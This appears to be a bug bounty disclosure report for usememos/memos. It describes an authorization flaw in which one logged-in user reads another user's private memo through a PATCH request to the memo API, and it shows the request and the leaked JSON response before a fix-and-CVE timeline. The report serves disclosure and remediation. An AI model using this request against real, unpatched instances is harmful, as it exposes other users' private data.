View any content private memos from other users in usememos/memos


Reported on

Dec 23rd 2022


User can view any content from private private memos from other users via api

PATCH /api/memo/8 HTTP/1.1


Proof of Concept

Login to website in brower 1 with user A. Login to website in brower 2 with user B. Example: User B have private nemo with id 8.

With session in brower 1 with user A make a request

PATCH /api/memo/8 HTTP/1.1


After user A get a response

{"data":{"id":8,"rowStatus":"ARCHIVED","creatorId":1,"createdTs":1671805207,"updatedTs":1671805219,"content":"demo content","visibility":"PRIVATE","pinned":false,"displayTs":1671805207,"creator":{"id":1,"rowStatus":"NORMAL","createdTs":1671803462,"updatedTs":1671803845,"username":"userB","role":"HOST","email":"","nickname":"userB","openId":"","userSettingList":null},"resourceList":[]}}

The content of nemo appears in the returned response "content":"demo content"

Demo video:


Anyone can read other people memos.

We are processing your report and will contact the usememos/memos team within 24 hours. 17 days ago
Kevin Kien modified the report
17 days ago
Kevin Kien modified the report
16 days ago
We have contacted a member of the usememos/memos team and are waiting to hear back 16 days ago
STEVEN validated this vulnerability 13 days ago
Kevin Kien has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Kevin Kien
13 days ago


Can I get a CVE for this bug

STEVEN marked this as fixed in 0.9.1 with commit 3556ae 12 days ago
STEVEN has been awarded the fix bounty
This vulnerability has been assigned a CVE
STEVEN published this vulnerability 12 days ago
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